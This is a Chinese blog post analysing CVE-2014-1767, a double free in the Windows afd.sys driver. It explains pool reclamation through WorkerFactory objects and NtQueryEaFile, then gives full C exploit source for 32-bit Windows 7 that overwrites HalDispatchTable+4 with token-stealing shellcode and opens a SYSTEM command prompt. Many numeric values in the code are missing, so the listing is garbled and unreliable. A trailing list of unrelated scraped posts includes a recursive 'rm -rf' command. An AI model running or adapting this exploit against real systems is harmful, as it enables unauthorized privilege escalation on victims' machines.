CVE-2014-1767利用分析

参考这篇文章利用思路,重现利用,主要说明自己在实现的时候遇到的坑。

利用思路

1. 第一次 IoControl,释放 MDL,我们通过 VirtualAddress 和 Length 设置此时被释放 的 MDL 内存大小为 0xA0。

2. NtCreateWorkerFactory 申请新的 WorkerFactoy 对象,占据【1】中被释放掉的内 存。

3. 第二次 IoControl,double free会释放掉刚刚申请的 WorkerFactoy 对象。

4. NtQueryEaFile 把我们精心设置的内容,填充到刚被释放掉的 WorkerFactory 对象内存空间(UAF)。

5. NtSetInformationWorkerFactory 操作我们的 fake object,达到修改 HalDispatchTable+4 内容为 shellcode(功能是使用系统token覆盖当前进行token)。

6. 用户层调用 NtQueryIntervalProfile,触发内核执行 shellcode。

7. 当前进行已经是管理员权限了,创建的子进程也具有相同的权限,提权完成。

一些坑和解释

1. 将初始化的操作都放在第一次IoControl之前,使【1】和【2】的时间间隔最小,这样占位成功的机会最大,但仍有占位不成功的时候,原因未知。

2. 所构造的fake WorkerFactory object 数据如下:

object header和object body是需要我们来布置的。

object header来自一个创建的object的部分。

object body部分其实就两个位置+00h和+10h,为了最后NtSetInformationWorkerFactory函数中的这条语句:*(*(*object+0x10)+0x1C) = *arg3,使左边的语句为HalDispatchTable+4。

其他置于0就可以了。

3. 分配的内存数据:

4. NtQueryEaFile的参数EaListLength必须为0x98,因为这样才可以保证【4】的正常执行。

5. NtSetInformationWorkerFactory函数的每一个参数都非常重要,不可以设置为其他的值,这都是跟踪得到能够到达目标代码的参数结果。6. NtQueryIntervalProfile的第一个参数也十分重要,等于2的时候才会走向调用HalDispatchTable+4的流程中去。

7.Shellcode中,提权结束后会做一些善后处理,将hWorkerFactory在HandleTableEntry的入口设置为NULL,不然提权进程结束后会蓝屏。因为我们已经破坏掉hWorkerFactory所对应的内核结构了,系统会对其进行清理操作的时候就会出问题。

遗留问题:HalDispatchTable+4的恢复问题,暂时不知道怎么读取其对应函数的地址。不过这个函数调用不是特别频繁,还是可以清楚的看到结果。

exp代码如下:

//CVE-2014-1767 exp for win7 32bit
//by 会飞的猫 2015.2.4
//complied with VS2013
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "WS2_32.lib") #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef LPVOID PEPROCESS; typedef NTSTATUS(__stdcall *_NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
typedef NTSTATUS(__stdcall *_NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN);
typedef NTSTATUS(__stdcall *_ZwAllocateVirtualMemory)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
typedef NTSTATUS(__stdcall *_NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(__stdcall *_NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD,PULONG);
typedef NTSTATUS(__stdcall *_PsLookupProcessByProcessId)(DWORD, LPVOID *);
typedef NTSTATUS(__stdcall *_NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG); typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; _NtCreateWorkerFactory NtCreateWorkerFactory;
_NtQueryEaFile NtQueryEaFile;
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_NtQuerySystemInformation NtQuerySystemInformation;
_NtSetInformationWorkerFactory NtSetInformationWorkerFactory;
_NtQueryIntervalProfile NtQueryIntervalProfile;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_NtQueryInformationWorkerFactory NtQueryInformationWorkerFactory; HANDLE hWorkerFactory;
LPVOID AllocAddr = (LPVOID)0x20000000;
ULONG uHalDispatchTable = ;
HMODULE ntoskrnl;
ULONG ntoskrnlBase;
PVOID pHaliQuerySystemInformation=NULL; int GetNtdllFuncAddr()
{
HMODULE ntdll = GetModuleHandle("ntdll.dll"); NtCreateWorkerFactory = (_NtCreateWorkerFactory)(GetProcAddress(ntdll, "NtCreateWorkerFactory"));
if (NtCreateWorkerFactory == NULL)
{
printf("Get NtCreateWorkerFactory Address Error:%d", GetLastError());
CloseHandle(ntdll);
return -;
} //NtQueryEaFile
NtQueryEaFile = (_NtQueryEaFile)GetProcAddress(ntdll, "NtQueryEaFile");
if (NtQueryEaFile == NULL)
{
printf("Get NtQueryEaFile Address Error:%d", GetLastError());
return -;
}
//ZwAllocateVirtualMemory
ZwAllocateVirtualMemory = (_ZwAllocateVirtualMemory)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
//NtQuerySystemInformation
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL)
{
printf("Get NtQuerySystemInformation Address Error:%d", GetLastError());
return -;
}
//NtSetInformationWorkerFactory
NtSetInformationWorkerFactory = (_NtSetInformationWorkerFactory)(GetProcAddress(ntdll, "NtSetInformationWorkerFactory"));
if (NtSetInformationWorkerFactory == NULL)
{
printf("Get NtSetInformationWorkerFactory Address Error:%d", GetLastError());
return -;
}
//_NtQueryIntervalProfile
NtQueryIntervalProfile = (_NtQueryIntervalProfile)(GetProcAddress(ntdll, "NtQueryIntervalProfile"));
if (NtQueryIntervalProfile == NULL)
{
printf("Get NtQueryIntervalProfile Address Error:%d", GetLastError());
return -;
}
//get uHalDispatchTable
RTL_PROCESS_MODULES module;
memset(&module, , sizeof(RTL_PROCESS_MODULES));
NTSTATUS status = NtQuerySystemInformation(, &module, sizeof(RTL_PROCESS_MODULES), NULL);
if (status != 0xC0000004) //STATUS_INFO_LENGTH_MISMATCH
{
printf("Get module Address Error:%d", GetLastError());
return -;
}
ntoskrnlBase = (ULONG)module.Modules[].ImageBase;
ntoskrnl = LoadLibrary((LPCSTR)(module.Modules[].FullPathName + module.Modules[].OffsetToFileName));
if (ntoskrnl == NULL)
{
printf("LoadLibrary ntoskrnl.exe fail!\n");
return -;
}
uHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl, "HalDispatchTable") - (ULONG)ntoskrnl + ntoskrnlBase;
if (uHalDispatchTable == )
{
printf("Get HalDispatchTable Error:%d\n", GetLastError());
return -;
}
//printf("HalDispatchTable Address:0x%x!\n", uHalDispatchTable); //PsLookupProcessByProcessId
PsLookupProcessByProcessId = (_PsLookupProcessByProcessId)((ULONG)GetProcAddress(ntoskrnl, "PsLookupProcessByProcessId") - (ULONG)ntoskrnl + ntoskrnlBase);
if (PsLookupProcessByProcessId == NULL)
{
printf("Get PsLookupProcessByProcessId Address Error:%d", GetLastError());
return -;
}
CloseHandle(ntdll);
return ;
}
/*int CreateWorkerFactory()
{
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4); DWORD Exploit;
NTSTATUS status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
return -1;
}
return 0;
}*/
int MyNtQueryEaFile()
{
NTSTATUS status;
IO_STATUS_BLOCK StatusBlock; status = NtQueryEaFile(NULL, (PIO_STATUS_BLOCK)&StatusBlock, NULL, NULL, FALSE, AllocAddr, 0x98, NULL, TRUE);
return ;
}
//shellcode代码
void shellcode()
{
PEPROCESS pCur, pSys;
DWORD dwSystemProcessId = ;
DWORD dwCurProcessId = GetCurrentProcessId();
PsLookupProcessByProcessId(dwCurProcessId, &pCur);
PsLookupProcessByProcessId(dwSystemProcessId, &pSys);
//replace current process`s token with system token
*(PVOID *)((DWORD)pCur + 0xf8) = *(PVOID *)((DWORD)pSys + 0xf8);
//set our handle`s HandleTableEntry with NULL to avoid bugcheck
PULONG ObjectTable = *(PULONG *)((ULONG)pCur + 0x0f4);
PULONG HandleTableEntry = (PULONG)(*(ULONG*)(ObjectTable)+ * ((ULONG)hWorkerFactory & 0xFFFFFFFC));
*HandleTableEntry = NULL;
//dec handle reference by 1
*(ObjectTable + 0x30) -= ;
//restore HalDispatchTable+4 to avoid bugcheck
//*(DWORD*)(uHalDispatchTable + 4) = (DWORD)pHaliQuerySystemInformation;
}
int MyNtSetInformationWorkerFactory()
{
DWORD* tem = (DWORD*)malloc(0x20);
memset(tem, 'A', 0x20);
tem[] = (DWORD)shellcode; NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
return ;
}
void CreatNewCmd()
{
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInfo; memset(&StartupInfo, , sizeof(StartupInfo));
memset(&ProcessInfo, , sizeof(ProcessInfo)); StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = ;
StartupInfo.dwFlags = ;
CreateProcess(, "cmd", , , , CREATE_NEW_CONSOLE, , , &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, );
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
}
void GetHaliQuerySystemInformation()
{
static BYTE kernelRetMem[0x60];
memset(kernelRetMem, , sizeof(kernelRetMem)); NtQueryInformationWorkerFactory(hWorkerFactory,
,
kernelRetMem,
0x60,
NULL); pHaliQuerySystemInformation = *(PVOID *)(kernelRetMem + 0x50);
printf("uHaliQuerySystemInformation: %p\n", pHaliQuerySystemInformation);
return;
}
int main()
{
printf("----------------------------------------\n");
printf("****CVE-2014-1767 exp for win7 32bit****\n");
printf("****by flycat 2015.2.4****\n");
printf("----------------------------------------\n");
printf("\n\n\n\n");
DWORD targetSize = 0xA0;
DWORD virtualAddress = 0x13371337;
DWORD Length = ((targetSize - 0x1C) / - (virtualAddress % ? : )) * 0x1000; static DWORD inbuf1[];
memset(inbuf1, , sizeof(inbuf1));
inbuf1[] = virtualAddress;
inbuf1[] = Length; static DWORD inbuf2[];
memset(inbuf2, , sizeof(inbuf2));
inbuf2[] = ;
inbuf2[] = 0x0AAAAAAA; WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ier; WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, , sizeof(sa));
sa.sin_port = htons();
sa.sin_addr.S_un.S_addr = inet_addr("127.0.1");
sa.sin_family = AF_INET;
ier = connect(s, (const struct sockaddr *)&sa, sizeof(sa)); static char outBuf[];
DWORD bytesRet; int nRet = ;
//get some kernel function addresses
nRet = GetNtdllFuncAddr();
if (nRet != )
{
return -;
}
//allocate memory and set some data
DWORD uRegionSize = 0x200;
NTSTATUS status = ZwAllocateVirtualMemory(GetCurrentProcess(),
&AllocAddr, , &uRegionSize,
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(status))
{
printf("Allocate Mem Failed :%d\n", GetLastError());
return -;
} memset(AllocAddr, , 0x200);
__asm
{
pushad
mov eax, AllocAddr
mov dword ptr[eax + ], 0xa8
mov dword ptr[eax + 10h],
mov dword ptr[eax + 14h],
mov dword ptr[eax + 1ch], 80016h
mov dword ptr[eax + 28h], 20000028h
mov ebx, uHalDispatchTable
sub ebx, 18h
mov dword ptr[eax + 38h], ebx
popad
}
//wait 2 second
::Sleep();
//first IoControl
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, , &bytesRet, NULL);
//Create a Workerfactory object to occupy the free Mdl pool
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, , );
DWORD Exploit;
status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-, &Exploit, NULL, , , );
if (!NT_SUCCESS(status))
{
printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
return -;
}
//try to read HaliQuerySystemInformation address but failed
//GetHaliQuerySystemInformation(); //second IoControl
//free the Workerfactory object we create just now
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, , &bytesRet, NULL);
//NtQueryEaFile will allocate a pool with the same size of Workerfactory object,and
//memcpy our data to the Workerfactory object,mainly change Workerfactory object+0x10 to
//HalDispatchTable+4
MyNtQueryEaFile();
//change HalDispatchTable+4 to our shellcode address
MyNtSetInformationWorkerFactory();
//Trigger from user mode
ULONG temp = ;
status = NtQueryIntervalProfile(, &temp);
if (!NT_SUCCESS(status))
{
printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
return -;
}
printf("done!\n");
//Sleep(000);
//Create a new cmd process with current token
printf("Creating a new cmd...\n");
CreatNewCmd();
return ;
}

by:会飞的猫
转载请注明:http://www.cnblogs.com/flycat-2016

CVE-2014-1767 利用分析(2015.2)的更多相关文章

  1. CVE-2015-0057 POC构造 & 利用分析(2015.7)

    CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...

  2. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  3. CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)

    CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...

  4. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  5. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  6. CVE-2014-0322漏洞成因与利用分析

    CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...

  7. CVE-2013-3897漏洞成因与利用分析

    CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对 ...

  8. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  9. MyEclipse 2014 GA 和 MyEclipse 2015 CI 和 Eclipse Luna 最新最全下载地址

    官方下载地址: Eclipse 标准版 x86 http://mirror.hust.edu.cn/eclipse//technology/epp/downloads/release/luna/R/e ...

随机推荐

  1. easyui tree 的数据格式转换

    一般用来储存树数据的数据库表都含有两个整型字段:id pid,所以我们查询出来的List一般是这样的(约定pId为-1的节点为根节点): var serverList = [ {id : 2,pid ...

  2. 用Linux命令行实现删除和复制指定类型的文件

    (一)Linux 删除当前目录及子目录中所有某种类型的文件 方法1 : 此方法不能处理目录中带空格的那些. rm -rf `find . -name "*.example"` Li ...

  3. [置顶] JAVA从零单排4-----继承、封装和多态详解

    继承 Java三大特征之一:继承.Java的继承具有单继承的特点,每个子类只能有一个直接父类. 继承的特点 Java的继承用extends关键字来实现,被继承的类成为父类,实现继承的类被称为子类.子类 ...

  4. java.util.List 的大小

    今天在看API的时候,忽然看见List对象的size()方法返回的是int类型,于是就想知道是不是只能存放int的最大数值2147483647个. 但是,用自己电脑跑了一下,代码如下: public ...

  5. 【未来畅想】未来的电信通讯行业,账号密码将取代sim卡

    今天看到一条新闻,是关于LG模块化的手机,LG将手机电池模块化了,很多人一片叫好,但是我认为模块化手机无法成为未来的趋势,原因如下:模块化必然要增加手机的卡口.插口增,意味着体积也大大增加,手机正因为 ...

  6. ROC与AUC

    一.ROC曲线 1.ROC曲线:接收者操作特征(receiveroperating characteristic),ROC曲线上每个点反映着对同一信号刺激的感受性. 横轴:负正类率(false pos ...

  7. (细节控)swift3.0与融云IMKIT开发问题(一部分) override func onSelectedTableRow Method does not override any method from its superclass

    原官网文档方案如下,在swift3.0的情况下出现 override func onSelectedTableRow  Method does not override any method from ...

  8. linux:C语言通过ICMP协议判断局域网内部主机是否存活

    ICMP协议 ICMP(Internet Control Message,网际控制报文协议)是为网关和目标主机而提供的一种差错控制机制,使它们在遇到差错时能把错误报告给报文源发方. ICMP协议是IP ...

  9. OSI模型第一层物理层

    纪念我曾今热爱的数通(^o^). 物理层 一句话概述: OSI的第一层,它虽然处于最底层,却是整个开放系统的基础.物理层为设备之间的数据通信提供传输媒体及互连设备,为数据传输提供可靠的环境. 常见设备 ...

  10. 前端之Photoshop切片

    什么是切片 ?     (Photoshop中的切片) 切片:将图片切成几部分,一片一片往上传,这样上传的速度比较快.每个切片作为一个独立的文件传输,文件中包含切片自己的设置.颜色调板.链接.翻转效果 ...